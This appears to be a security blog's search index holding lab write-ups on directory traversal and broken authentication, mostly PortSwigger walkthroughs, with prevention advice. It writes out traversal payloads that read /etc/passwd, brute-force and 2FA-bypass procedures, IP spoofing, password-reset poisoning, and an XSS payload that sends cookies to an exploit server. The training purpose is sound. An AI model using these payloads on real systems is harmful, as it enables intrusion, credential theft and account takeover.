path bypass Objective: To solve the lab, retrieve the contents of the /etc/passwd file.\nThis lab its the same approach, the only change is that the directory where the image loads from is the root, so we only have to browse /etc/passwd and we will get the list of users.\nWe use the payload etc/passwd in the filename value.\nFile path traversal, traversal sequences stripped non-recursively In some contexts, such as in a URL path or the filename parameter of a multipart/form-data request, web servers may strip any directory traversal sequences before passing your input to the application.\nYou can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the ../ characters, resulting in %2e%2e%2f or %252e%252e%252f respectively.\nSo using the same approach from previous labs, we\u0026rsquo;ll use the payload: ....//....//....//etc/passwd\nFile path traversal, traversal sequences stripped with superfluous URL-decode The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it\nSo maybe we can encode the payload with URL-encoding and pass to the application, so we´ll use this payload: ..%252f..%252f..%252fetc%252fpasswd.\nFile path traversal, validation of start of path The application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder.\nSo we´ll supply the path with the initial folders to the backend, for example the image is in this path /var/www/images/13.jpg so we´ll use this payload: var/www/images/../../../../../etc/passwd to bypass this control.\nFile path traversal, validation of file extension with null byte bypass The application validates that the supplied filename ends with the expected file extension.\nSo this can be bypassed appending a null byte at the end of the filename, so when implement null byte in file name passwd%00.png, it will remove .png extension from checking. By injecting a null byte, the extension rule won’t be enforced because everything after the null byte will be ignored.\nSo the payload will look like this: ../../../etc/passwd%00\nHow to prevent a directory traversal attack The most effective way to prevent file path traversal vulnerabilities is to avoid passing user-supplied input to filesystem APIs altogether. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.\nIf it is considered unavoidable to pass user-supplied input to filesystem APIs, then two layers of defense should be used together to prevent attacks:\nThe application should validate the user input before processing it. Ideally, the validation should compare against a whitelist of permitted values. If that isn\u0026rsquo;t possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters. After validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. It should verify that the canonicalized path starts with the expected base directory. Below is an example of some simple Java code to validate the canonical path of a file based on user input:\nFile file = new File(BASE_DIRECTORY, userInput); if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { // process file } Thanks for read, happy hacking.\n","permalink":"https://blog.s4yhii.com/posts/2022-05-10-directory-path-traversal/","summary":"\u003cp\u003eAlso known as file path traversal allows to read arbitrary files on the servers. in some cases an attacker might be able to write arbitrary files on the server, allowing them to modify application data or behavior.\u003c/p\u003e\n\u003ch1 id=\"reading-arbitrary-files-via-directory-traversal\"\u003eReading arbitrary files via directory traversal\u003c/h1\u003e\n\u003cp\u003eWe can use the \u003ccode\u003e..\u003c/code\u003e characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.\u003c/p\u003e\n\u003cp\u003eFor example the url takes a filename parameter and returns the content of the file, the aplicaciones appends the requested filename to this base directort and uses an API to read the contents, so the application implements no defenses against directory traversal attacks,so an attacker can request the following URL to retrieve an arbitrary file from the server\u0026rsquo;s filesystem:\u003c/p\u003e","title":"Directory Traversal Labs"},{"content":"Authentication is the process of verifying the identity of a given user or client. In other words, it involves making sure that they really are who they claim to be, there are three authentication factors:\nSomething you know, such as password or security question, known as \u0026ldquo;knowledge factors\u0026rdquo; Something you have, a physical object like a mobile phone or security token, known as \u0026ldquo;possession factors\u0026rdquo; Something you are, for example biometrics or patterns of behavior, known as \u0026ldquo;inherence factors\u0026rdquo; What is the difference between authentication and authorization? Authentication is the process of verifying that a user is who they claim to be, whereas authorization involves verifying whether a user is allowed to do something\nVulnerabilities in authentication mechanisms A website consists of several mechanisms where vulnerabilities may occur, some of them are broadly applicable across all of these context, we will look the vulnerabilities in the following areas:\nVulnerabilities in password based login Brute force usernames and passwords Its common to see business logins in the format firstname.lastname@company.com, however even if there is no obvious pattern, sometimes high privileged accounts are admin or administrator During auditing you should check HTTP responses to see if any email addresses are disclosed, sometimes responses contain emails addresses of high-privileged users like administrators and IT support In case where the policy requires users to change their passwords regularly, is common to just make minor. predictable changes, for example Mypassword1 becomes Mypassword1? Username enumeration Username enumeration is when an attacker is able to observe changes in the website\u0026rsquo;s behavior in order to identify if a given username is valid, usually occurs at the login page, when you are attempting to brute-force a login page, you should pay attention to any differences in:\nStatus codes: During a brute force, the returned status code is likely to be the same in the majority of the guesses, if a guess returns a different status code, maybe the username was correct, is the best practice to always return the same status code regardless of the outcome. Error messages: Sometimes the returned error message is different on whether both username and password are incorrect or only the password was incorrect, the best practice is use identical, generic messages in both cases. Response times: When the requests were handled with a different response times, for example a website might only check whether the password is correct if the username is valid. This extra step might cause a slight increase in the response time. This may be subtle, but an attacker can make this delay more obvious by entering an excessively long password that the website takes noticeably longer to handle. Flawed brute-force protection The two most common ways of preventing brute-force attacks are:\nLocking the account that the remote user is trying to access if they make too many failed login attempts Blocking the remote user IP address if they make too many login attempts in succession In some cases the counter of the failed attempts resets if the IP owner logs in successfully, so an attacker would simply have to log in to their account every few attempts to prevent this limit, so put your credential in the wordlist and you will bypass this. We can send multiple credential per request in json format if the web is vulnerable to brute-force Account locking If the number of login attempts exceed, responses from the server indicating that the account is locked can help an attacker to enumerate usernames User rate limiting Making too many login requests within a short period of time causes your IP to be blocked, the IP can be unblocked in this cases:\nAutomatically after a certain period of time has elapsed Manually by an administrator Manually by the user after successfully completing a CAPTCHA As the limit is based in the rate of HTTP requests sent from the user IP address, it sometimes also possible to bypass this defense if you guess multiple passwords with a single request.\nHTTP basic authentication Authorization: Basic base64(username:passwrord) This is not considered a safe authentication method, it involves repeatedly sending the user credential in every request, that can leads to MITM attacks, HTTP basic authentication is also particularly vulnerable to session-related exploits, notably CSRF, against which it offers no protection on its own.\nVulnerabilities in multi-factor authentication Flawed two-factor verification logic Means that after user has completed the login step, the website not adequately verify that the same user is completing the second step For example: The user logins with their normal credentials in the first step POST /login-steps/first HTTP/1.1 Host: vulnerable-website.com ... username=carlos\u0026amp;password=qwerty Then he are assigned with a cookie related to his account before going to the second step When submitting the verification code, the request need the account cookie to determine the user who is trying to access `POST /login-steps/second HTTP/1.1 Host: vulnerable-website.com Cookie: account=carlos ... verification-code=123456` An attacker could use any other username when submitting the verification code This is dangerous because an attacker is able to brute-force the verification code as it would allow them to log in to any user based only in the username Brute-forcing 2FA verification codes Some websites implement the login out the user if they enter certain number of incorrect verification codes, this is ineffective, because it can be automated with multi-step process by using Turbo Intruder plugin. Vulnerabilities in other authentication mechanisms Preventing attacks on your own authentication mechanisms Take care with user credentials Do not send any login data over unencrypted connections, although you may have implemented HTTPS for your login requests, make sure to redirect any attempted HTTP request to HTTPS as well Audit your website to make sure that no username or email addresses are disclosed either through publicly accessible profiles or reflected in HTTP responses Don\u0026rsquo;t count on users for security Implement an effective password policy, not the traditional, instead implement a simple password checker, for example the Javascript library zxcvbn By only allowing passwords which are rated highly by the password checker, you can enforce the use of secure passwords more effectively than you can with traditional policies Prevent username enumeration Regardless of whether an attempted username is valid, it is important to use identical, generic error messages, and make sure they are really identical Your should always return the same HTTP status code with each login request and, finally make the response time in different scenarios as indistinguishable as possible Implement robust brute-force protection Implement strict, IP-based user rate limiting, this should involve measures to prevent attacker from manipulating their apparent IP address, ideally you should require to complete a Captcha test with every login attempt This is not guaranteed to eliminate the threat, however making the process tedious for the attacker Triple-check your verification logic Is easy for simple logic flaws to creep into code which, in case of authentication, have the potential to completely compromise your web an users Auditing any verification or validation logic thoroughly to eliminate flaws is absolutely key to robust authentication Implement proper multi-factor authentication SMS-based 2FA is technically verifying two factors, however the potential for abuse through SIM swapping, instead use a dedicated app or device that generates the verification code directly Make sure that the logic in your 2FA checks is sound so that it cannot be easily bypassed ","permalink":"https://blog.s4yhii.com/posts/2022-03-15-broken-authentication/","summary":"\u003cp\u003eAuthentication is the process of verifying the identity of a given user or client. In other words, it involves making sure that they really are who they claim to be, there are three authentication factors:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSomething you \u003cstrong\u003eknow\u003c/strong\u003e, such as password or security question, known as \u0026ldquo;knowledge factors\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eSomething you \u003cstrong\u003ehave\u003c/strong\u003e, a physical object like a mobile phone or security token, known as \u0026ldquo;possession factors\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eSomething you \u003cstrong\u003eare\u003c/strong\u003e, for example biometrics or patterns of behavior, known as \u0026ldquo;inherence factors\u0026rdquo;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eWhat is the difference between authentication and authorization?\u003c/strong\u003e\nAuthentication is the process of verifying that a user \u003cstrong\u003eis who they claim to be\u003c/strong\u003e, whereas authorization involves verifying whether a user \u003cstrong\u003eis allowed to do something\u003c/strong\u003e\u003c/p\u003e","title":"Broken Authentication"},{"content":"Vulnerabilities in password-based login Username enumeration via different responses With Burp running, investigate the login page and submit an invalid username and password. In Burp, go to Proxy \u0026gt; HTTP history and find the POST /login request. Send this to Burp Intruder. In Burp Intruder, go to the Positions tab. Make sure that the Sniper attack type is selected. Click Clear § to remove any automatically assigned payload positions. Highlight the value of the username parameter and click Add § to set it as a payload position. This position will be indicated by two § symbols, for example: username=§invalid-username§. Leave the password as any static value for now. On the Payloads tab, make sure that the Simple list payload type is selected. Under Payload options, paste the list of candidate usernames. Finally, click Start attack. The attack will start in a new window. When the attack is finished, on the Results tab, examine the Length column. You can click on the column header to sort the results. Notice that one of the entries is longer than the others. Compare the response to this payload with the other responses. Notice that other responses contain the message Invalid username, but this response says Incorrect password. Make a note of the username in the Payload column. Close the attack and go back to the Positions tab. Click Clear, then change the username parameter to the username you just identified. Add a payload position to the password parameter. The result should look something like this: username=identified-user\u0026amp;password=§invalid-password§ On the Payloads tab, clear the list of usernames and replace it with the list of candidate passwords. Click Start attack. When the attack is finished, look at the Status column. Notice that each request received a response with a 200 status code except for one, which got a 302 response. This suggests that the login attempt was successful - make a note of the password in the Payload column. Log in using the username and password that you identified and access the user account page to solve the lab. Username enumeration via subtly different responses With Burp running, submit an invalid username and password. Send the POST /login request to Burp Intruder and add a payload position to the username parameter. On the Payloads tab, make sure that the Simple list payload type is selected and add the list of candidate usernames. On the Options tab, under Grep - Extract, click Add. In the dialog that appears, scroll down through the response until you find the error message Invalid username or password.. Use the mouse to highlight the text content of the message. The other settings will be automatically adjusted. Click OK and then start the attack. When the attack is finished, notice that there is an additional column containing the error message you extracted. Sort the results using this column to notice that one of them is subtly different. Look closer at this response and notice that it contains a typo in the error message instead of a full stop/period, there is a trailing space. Make a note of this username. Close the attack and go back to the Positions tab. Insert the username you just identified and add a payload position to the password parameter: username=identified-user\u0026amp;password=§invalid-password§ On the Payloads tab, clear the list of usernames and replace it with the list of passwords. Start the attack. When the attack is finished, notice that one of the requests received a 302 response. Make a note of this password. Log in using the username and password that you identified and access the user account page to solve the lab. Username enumeration via response timing With Burp running, submit an invalid username and password, then send the POST /login request to Burp Repeater. Experiment with different usernames and passwords. Notice that your IP will be blocked if you make too many invalid login attempts. Identify that the X-Forwarded-For header is supported, which allows you to spoof your IP address and bypass the IP-based brute-force protection. Continue experimenting with usernames and passwords. Pay particular attention to the response times. Notice that when the username is invalid, the response time is roughly the same. However, when you enter a valid username (your own), the response time is increased depending on the length of the password you entered. Send this request to Burp Intruder and select the attack type to Pitchfork. Clear the default payload positions and add the X-Forwarded-For header. Add payload positions for the X-Forwarded-For header and the username parameter. Set the password to a very long string of characters (about 100 characters should do it). On the Payloads tab, select payload set 1. Select the Numbers payload type. Enter the range 1 - 100 and set the step to 1. Set the max fraction digits to 0. This will be used to spoof your IP. Select payload set 2 and add the list of usernames. Start the attack. When the attack finishes, at the top of the dialog, click Columns and select the Response received and Response completed options. These two columns are now displayed in the results table. Notice that one of the response times was significantly longer than the others. Repeat this request a few times to make sure it consistently takes longer, then make a note of this username. Create a new Burp Intruder attack for the same request. Add the X-Forwarded-For header again and add a payload position to it. Insert the username that you just identified and add a payload position to the password parameter. On the Payloads tab, add the list of numbers in payload set 1 and add the list of passwords to payload set 2. Start the attack. When the attack is finished, find the response with a 302 status. Make a note of this password. Log in using the username and password that you identified and access the user account page to solve the lab. Broken brute-force protection, IP block With Burp running, investigate the login page. Observe that your IP is temporarily blocked if you submit 3 incorrect logins in a row. However, notice that you can reset the counter for the number of failed login attempts by logging in to your own account before this limit is reached. Enter an invalid username and password, then send the POST /login request to Burp Intruder. Create a pitchfork attack with payload positions in both the username and password parameters. On the Resource pool tab, add the attack to a resource pool with Maximum concurrent requests set to 1. By only sending one request at a time, you can ensure that your login attempts are sent to the server in the correct order. On the Payloads tab, select payload set 1. Add a list of payloads that alternates between your username and carlos. Make sure that your username is first and that carlos is repeated at least 100 times. Edit the list of candidate passwords and add your own password before each one. Make sure that your password is aligned with your username in the other list. Add this list to payload set 2 and start the attack. When the attack finishes, filter the results to hide responses with a 200 status code. Sort the remaining results by username. There should only be a single 302 response for requests with the username carlos. Make a note of the password from the Payload 2 column. Log in to Carlos\u0026rsquo;s account using the password that you identified and access his account page to solve the lab. Username enumeration via account lock With Burp running, investigate the login page and submit an invalid username and password. Send the POST /login request to Burp Intruder.\nSelect the attack type Cluster bomb. Add a payload position to the username parameter. Add a blank payload position to the end of the request body by clicking Add § twice. The result should look something like this:\nusername=§invalid-username§\u0026amp;password=example§§\nOn the Payloads tab, add the list of usernames to the first payload set. For the second set, select the Null payloads type and choose the option to generate 5 payloads. This will effectively cause each username to be repeated 5 times. Start the attack.\nIn the results, notice that the responses for one of the usernames were longer than responses when using other usernames. Study the response more closely and notice that it contains a different error message: You have made too many incorrect login attempts. Make a note of this username.\nCreate a new Burp Intruder attack on the POST /login request, but this time select the Sniper attack type. Set the username parameter to the username that you just identified and add a payload position to the password parameter.\nAdd the list of passwords to the payload set and create a grep extraction rule for the error message. Start the attack.\nIn the results, look at the grep extract column. Notice that there are a couple of different error messages, but one of the responses did not contain any error message. Make a note of this password.\nWait for a minute to allow the account lock to reset. Log in using the username and password that you identified and access the user account page to solve the lab.\nBroken brute-force protection, multiple credentials per request With Burp running, investigate the login page. Notice that the POST /login request submits the login credentials in JSON format. Send this request to Burp Repeater.\nIn Burp Repeater, replace the single string value of the password with an array of strings containing all of the candidate passwords. For example:\n\u0026quot;username\u0026quot; : \u0026quot;carlos\u0026quot;, \u0026quot;password\u0026quot; : [ \u0026quot;123456\u0026quot;, \u0026quot;password\u0026quot;, \u0026quot;qwerty\u0026quot; ... ]\nSend the request. This will return a 302 response.\nRight-click on this request and select Show response in browser. Copy the URL and load it in your browser. The page loads and you are logged in as carlos.\nClick My account to access Carlos\u0026rsquo;s account page and solve the lab\nVulnerabilities in multi-factor authentication 2FA simple bypass Log in to your own account. Your 2FA verification code will be sent to you by email. Click the Email client button to access your emails. Go to your account page and make a note of the URL. Log out of your account. Log in using the victim\u0026rsquo;s credentials. When prompted for the verification code, manually change the URL to navigate to /my-account. The lab is solved when the page loads. 2FA broken logic With Burp running, log in to your own account and investigate the 2FA verification process. Notice that in the POST /login2 request, the verify parameter is used to determine which user\u0026rsquo;s account is being accessed. Log out of your account. Send the GET /login2 request to Burp Repeater. Change the value of the verify parameter to carlos and send the request. This ensures that a temporary 2FA code is generated for Carlos. Go to the login page and enter your username and password. Then, submit an invalid 2FA code. Send the POST /login2 request to Burp Intruder. In Burp Intruder, set the verify parameter to carlos and add a payload position to the mfa-code parameter. Brute-force the verification code. Load the 302 response in your browser. Click My account to solve the lab. 2FA bypass using a brute-force attack With Burp running, log in as carlos and investigate the 2FA verification process. Notice that if you enter the wrong code twice, you will be logged out again. You need to use Burp\u0026rsquo;s session handling features to log back in automatically before sending each request.\nIn Burp, go to Project options \u0026gt; Sessions. In the Session Handling Rules panel, click Add. The Session handling rule editor dialog opens.\nIn the dialog, go to the Scope tab. Under URL Scope, select the option Include all URLs.\nGo back to the Details tab and under Rule Actions, click Add \u0026gt; Run a macro.\nUnder Select macro click Add to open the Macro Recorder. Select the following 3 requests:\nGET /login POST /login GET /login2\nThen click OK. The Macro Editor dialog opens.\nClick Test macro and check that the final response contains the page asking you to provide the 4-digit security code. This confirms that the macro is working correctly.\nKeep clicking OK to close the various dialogs until you get back to the main Burp window. The macro will now automatically log you back in as Carlos before each request is sent by Burp Intruder.\nSend the POST /login2 request to Burp Intruder.\nIn Burp Intruder, add a payload position to the mfa-code parameter.\nOn the Payloads tab, select the Numbers payload type. Enter the range 0 - 9999 and set the step to 1. Set the min/max integer digits to 4 and max fraction digits to 0. This will create a payload for every possible 4-digit integer.\nGo to the Resource pool tab and add the attack to a resource pool with the Maximum concurrent requests set to 1.\nStart the attack. Eventually, one of the requests will return a 302 status code. Right-click on this request and select Show response in browser. Copy the URL and load it in your browser.\nClick My account to solve the lab.\nVulnerabilities in other authentication mechanisms Brute-forcing a stay-logged-in cookie With Burp running, log in to your own account with the Stay logged in option selected. Notice that this sets a stay-logged-in cookie.\nExamine this cookie in the Inspector panel and notice that it is Base64-encoded. Its decoded value is wiener:51dc30ddc473d43a6011e9ebba6ca770. Study the length and character set of this string and notice that it could be an MD5 hash. Given that the plaintext is your username, you can make an educated guess that this may be a hash of your password. Hash your password using MD5 to confirm that this is the case. We now know that the cookie is constructed as follows:\nbase64(username+':'+md5HashOfPassword)\nLog out of your account.\nSend the most recent GET /my-account request to Burp Intruder.\nIn Burp Intruder, add a payload position to the stay-logged-in cookie and add your own password as a single payload.\nUnder Payload processing, add the following rules in order. These rules will be applied sequentially to each payload before the request is submitted.\nHash: MD5 Add prefix: wiener: Encode: Base64-encode As the Update email button is only displayed when you access the /my-account page in an authenticated state, we can use the presence or absence of this button to determine whether we\u0026rsquo;ve successfully brute-forced the cookie. On the Options tab, add a grep match rule to flag any responses containing the string Update email. Start the attack.\nNotice that the generated payload was used to successfully load your own account page. This confirms that the payload processing rules work as expected and you were able to construct a valid cookie for your own account.\nMake the following adjustments and then repeat this attack:\nRemove your own password from the payload list and add the list of candidate passwords instead. Change the Add prefix rule to add carlos: instead of wiener:. When the attack is finished, the lab will be solved. Notice that only one request returned a response containing Update email. The payload from this request is the valid stay-logged-in cookie for Carlos\u0026rsquo;s account.\nOffline password cracking With Burp running, use your own account to investigate the \u0026ldquo;Stay logged in\u0026rdquo; functionality. Notice that the stay-logged-in cookie is Base64 encoded.\nIn the Proxy \u0026gt; HTTP history tab, go to the Response to your login request and highlight the stay-logged-in cookie, to see that it is constructed as follows:\nusername+':'+md5HashOfPassword\nYou now need to steal the victim user\u0026rsquo;s cookie. Observe that the comment functionality is vulnerable to XSS.\nGo to the exploit server and make a note of the URL.\nGo to one of the blogs and post a comment containing the following stored XSS payload, remembering to enter your own exploit server ID:\n\u0026lt;script\u0026gt;document.location='//your-exploit-server-id.web-security-academy.net/'+document.cookie\u0026lt;/script\u0026gt;\nOn the exploit server, open the access log. There should be a GET request from the victim containing their stay-logged-in cookie.\nDecode the cookie in Burp Decoder. The result will be:\ncarlos:26323c16d5f4dabff3bb136f2460a943\nCopy the hash and paste it into a search engine. This will reveal that the password is onceuponatime.\nLog in to the victim\u0026rsquo;s account, go to the \u0026ldquo;My account\u0026rdquo; page, and delete their account to solve the lab.\nPassword reset broken logic With Burp running, click the Forgot your password? link and enter your own username. Click the Email client button to view the password reset email that was sent. Click the link in the email and reset your password to whatever you want. In Burp, go to Proxy \u0026gt; HTTP history and study the requests and responses for the password reset functionality. Observe that the reset token is provided as a URL query parameter in the reset email. Notice that when you submit your new password, the POST /forgot-password?temp-forgot-password-token request contains the username as hidden input. Send this request to Burp Repeater. In Burp Repeater, observe that the password reset functionality still works even if you delete the value of the temp-forgot-password-token parameter in both the URL and request body. This confirms that the token is not being checked when you submit the new password. In your browser, request a new password reset and change your password again. Send the POST /forgot-password?temp-forgot-password-token request to Burp Repeater again. In Burp Repeater, delete the value of the temp-forgot-password-token parameter in both the URL and request body. Change the username parameter to carlos. Set the new password to whatever you want and send the request. In your browser, log in to Carlos\u0026rsquo;s account using the new password you just set. Click My account to solve the lab. Password reset poisoning via middleware With Burp running, investigate the password reset functionality. Observe that a link containing a unique reset token is sent via email.\nSend the POST /forgot-password request to Burp Repeater. Notice that the X-Forwarded-Host header is supported and you can use it to point the dynamically generated reset link to an arbitrary domain.\nGo to the exploit server and make a note of your exploit server URL.\nGo back to the request in Burp Repeater and add the X-Forwarded-Host header with your exploit server URL:\nX-Forwarded-Host: your-exploit-server-id.web-security-academy.net\nChange the username parameter to carlos and send the request.\nGo to the exploit server and open the access log. You should see a GET /forgot-password request, which contains the victim\u0026rsquo;s token as a query parameter. Make a note of this token.\nGo back to your email client and copy the valid password reset link (not the one that points to the exploit server). Paste this into your browser and change the value of the temp-forgot-password-token parameter to the value that you stole from the victim.\nLoad this URL and set a new password for Carlos\u0026rsquo;s account.\nLog in to Carlos\u0026rsquo;s account using the new password to solve the lab.\nPassword brute-force via password change With Burp running, log in and experiment with the password change functionality. Observe that the username is submitted as hidden input in the request.\nNotice the behavior when you enter the wrong current password. If the two entries for the new password match, the account is locked. However, if you enter two different new passwords, an error message simply states Current password is incorrect. If you enter a valid current password, but two different new passwords, the message says New passwords do not match. We can use this message to enumerate correct passwords.\nEnter your correct current password and two new passwords that do not match. Send this POST /my-account/change-password request to Burp Intruder.\nIn Burp Intruder, change the username parameter to carlos and add a payload position to the current-password parameter. Make sure that the new password parameters are set to two different values. For example:\nusername=carlos\u0026amp;current-password=§incorrect-password§\u0026amp;new-password-1=123\u0026amp;new-password-2=abc\nOn the Payloads tab, enter the list of passwords as the payload set\nOn the Options tab, add a grep match rule to flag responses containing New passwords do not match. Start the attack.\nWhen the attack finished, notice that one response was found that contains the New passwords do not match message. Make a note of this password.\nIn your browser, log out of your own account and lock back in with the username carlos and the password that you just identified.\nClick My account to solve the lab.\n","permalink":"https://blog.s4yhii.com/posts/2022-03-15-broken-authentication-labs/","summary":"\u003ch1 id=\"vulnerabilities-in-password-based-login\"\u003eVulnerabilities in password-based login\u003c/h1\u003e\n\u003ch2 id=\"username-enumeration-via-different-responses\"\u003eUsername enumeration via different responses\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eWith Burp running, investigate the login page and submit an invalid username and password.\u003c/li\u003e\n\u003cli\u003eIn Burp, go to \u003cstrong\u003eProxy \u0026gt; HTTP history\u003c/strong\u003e and find the \u003ccode\u003ePOST /login\u003c/code\u003e request. Send this to Burp Intruder.\u003c/li\u003e\n\u003cli\u003eIn Burp Intruder, go to the \u003cstrong\u003ePositions\u003c/strong\u003e tab. Make sure that the \u003cstrong\u003eSniper\u003c/strong\u003e attack type is selected.\u003c/li\u003e\n\u003cli\u003eClick \u003cstrong\u003eClear §\u003c/strong\u003e to remove any automatically assigned payload positions. Highlight the value of the \u003ccode\u003eusername\u003c/code\u003e parameter and click \u003cstrong\u003eAdd §\u003c/strong\u003e to set it as a payload position. This position will be indicated by two \u003ccode\u003e§\u003c/code\u003e symbols, for example: \u003ccode\u003eusername=§invalid-username§\u003c/code\u003e. Leave the password as any static value for now.\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003ePayloads\u003c/strong\u003e tab, make sure that the \u003cstrong\u003eSimple list\u003c/strong\u003e payload type is selected.\u003c/li\u003e\n\u003cli\u003eUnder \u003cstrong\u003ePayload options\u003c/strong\u003e, paste the list of candidate usernames. Finally, click \u003cstrong\u003eStart attack\u003c/strong\u003e. The attack will start in a new window.\u003c/li\u003e\n\u003cli\u003eWhen the attack is finished, on the \u003cstrong\u003eResults\u003c/strong\u003e tab, examine the \u003cstrong\u003eLength\u003c/strong\u003e column. You can click on the column header to sort the results. Notice that one of the entries is longer than the others. Compare the response to this payload with the other responses. Notice that other responses contain the message \u003ccode\u003eInvalid username\u003c/code\u003e, but this response says \u003ccode\u003eIncorrect password\u003c/code\u003e. Make a note of the username in the \u003cstrong\u003ePayload\u003c/strong\u003e column.\u003c/li\u003e\n\u003cli\u003eClose the attack and go back to the \u003cstrong\u003ePositions\u003c/strong\u003e tab. Click \u003cstrong\u003eClear\u003c/strong\u003e, then change the \u003ccode\u003eusername\u003c/code\u003e parameter to the username you just identified. Add a payload position to the \u003ccode\u003epassword\u003c/code\u003e parameter. The result should look something like this: \u003ccode\u003eusername=identified-user\u0026amp;password=§invalid-password§\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003ePayloads\u003c/strong\u003e tab, clear the list of usernames and replace it with the list of candidate passwords. Click \u003cstrong\u003eStart attack\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003eWhen the attack is finished, look at the \u003cstrong\u003eStatus\u003c/strong\u003e column. Notice that each request received a response with a \u003ccode\u003e200\u003c/code\u003e status code except for one, which got a \u003ccode\u003e302\u003c/code\u003e response. This suggests that the login attempt was successful - make a note of the password in the \u003cstrong\u003ePayload\u003c/strong\u003e column.\u003c/li\u003e\n\u003cli\u003eLog in using the username and password that you identified and access the user account page to solve the lab.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"username-enumeration-via-subtly-different-responses\"\u003eUsername enumeration via subtly different responses\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eWith Burp running, submit an invalid username and password. Send the \u003ccode\u003ePOST /login\u003c/code\u003e request to Burp Intruder and add a payload position to the \u003ccode\u003eusername\u003c/code\u003e parameter.\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003ePayloads\u003c/strong\u003e tab, make sure that the \u003cstrong\u003eSimple list\u003c/strong\u003e payload type is selected and add the list of candidate usernames.\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003eOptions\u003c/strong\u003e tab, under \u003cstrong\u003eGrep - Extract\u003c/strong\u003e, click \u003cstrong\u003eAdd\u003c/strong\u003e. In the dialog that appears, scroll down through the response until you find the error message \u003ccode\u003eInvalid username or password.\u003c/code\u003e. Use the mouse to highlight the text content of the message. The other settings will be automatically adjusted. Click \u003cstrong\u003eOK\u003c/strong\u003e and then start the attack.\u003c/li\u003e\n\u003cli\u003eWhen the attack is finished, notice that there is an additional column containing the error message you extracted. Sort the results using this column to notice that one of them is subtly different.\u003c/li\u003e\n\u003cli\u003eLook closer at this response and notice that it contains a typo in the error message instead of a full stop/period, there is a trailing space. Make a note of this username.\u003c/li\u003e\n\u003cli\u003eClose the attack and go back to the \u003cstrong\u003ePositions\u003c/strong\u003e tab. Insert the username you just identified and add a payload position to the \u003ccode\u003epassword\u003c/code\u003e parameter: \u003ccode\u003eusername=identified-user\u0026amp;password=§invalid-password§\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003ePayloads\u003c/strong\u003e tab, clear the list of usernames and replace it with the list of passwords. Start the attack.\u003c/li\u003e\n\u003cli\u003eWhen the attack is finished, notice that one of the requests received a \u003ccode\u003e302\u003c/code\u003e response. Make a note of this password.\u003c/li\u003e\n\u003cli\u003eLog in using the username and password that you identified and access the user account page to solve the lab.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"username-enumeration-via-response-timing\"\u003eUsername enumeration via response timing\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eWith Burp running, submit an invalid username and password, then send the \u003ccode\u003ePOST /login\u003c/code\u003e request to Burp Repeater. Experiment with different usernames and passwords. Notice that your IP will be blocked if you make too many invalid login attempts.\u003c/li\u003e\n\u003cli\u003eIdentify that the \u003ccode\u003eX-Forwarded-For\u003c/code\u003e header is supported, which allows you to spoof your IP address and bypass the IP-based brute-force protection.\u003c/li\u003e\n\u003cli\u003eContinue experimenting with usernames and passwords. Pay particular attention to the response times. Notice that when the username is invalid, the response time is roughly the same. However, when you enter a valid username (your own), the response time is increased depending on the length of the password you entered.\u003c/li\u003e\n\u003cli\u003eSend this request to Burp Intruder and select the attack type to \u003cstrong\u003ePitchfork\u003c/strong\u003e. Clear the default payload positions and add the \u003ccode\u003eX-Forwarded-For\u003c/code\u003e header.\u003c/li\u003e\n\u003cli\u003eAdd payload positions for the \u003ccode\u003eX-Forwarded-For\u003c/code\u003e header and the \u003ccode\u003eusername\u003c/code\u003e parameter. Set the password to a very long string of characters (about 100 characters should do it).\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003ePayloads\u003c/strong\u003e tab, select payload set 1. Select the \u003cstrong\u003eNumbers\u003c/strong\u003e payload type. Enter the range 1 - 100 and set the step to 1. Set the max fraction digits to 0. This will be used to spoof your IP.\u003c/li\u003e\n\u003cli\u003eSelect payload set 2 and add the list of usernames. Start the attack.\u003c/li\u003e\n\u003cli\u003eWhen the attack finishes, at the top of the dialog, click \u003cstrong\u003eColumns\u003c/strong\u003e and select the \u003cstrong\u003eResponse received\u003c/strong\u003e and \u003cstrong\u003eResponse completed\u003c/strong\u003e options. These two columns are now displayed in the results table.\u003c/li\u003e\n\u003cli\u003eNotice that one of the response times was significantly longer than the others. Repeat this request a few times to make sure it consistently takes longer, then make a note of this username.\u003c/li\u003e\n\u003cli\u003eCreate a new Burp Intruder attack for the same request. Add the \u003ccode\u003eX-Forwarded-For\u003c/code\u003e header again and add a payload position to it. Insert the username that you just identified and add a payload position to the \u003ccode\u003epassword\u003c/code\u003e parameter.\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003ePayloads\u003c/strong\u003e tab, add the list of numbers in payload set 1 and add the list of passwords to payload set 2. Start the attack.\u003c/li\u003e\n\u003cli\u003eWhen the attack is finished, find the response with a \u003ccode\u003e302\u003c/code\u003e status. Make a note of this password.\u003c/li\u003e\n\u003cli\u003eLog in using the username and password that you identified and access the user account page to solve the lab.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"broken-brute-force-protection-ip-block\"\u003eBroken brute-force protection, IP block\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eWith Burp running, investigate the login page. Observe that your IP is temporarily blocked if you submit 3 incorrect logins in a row. However, notice that you can reset the 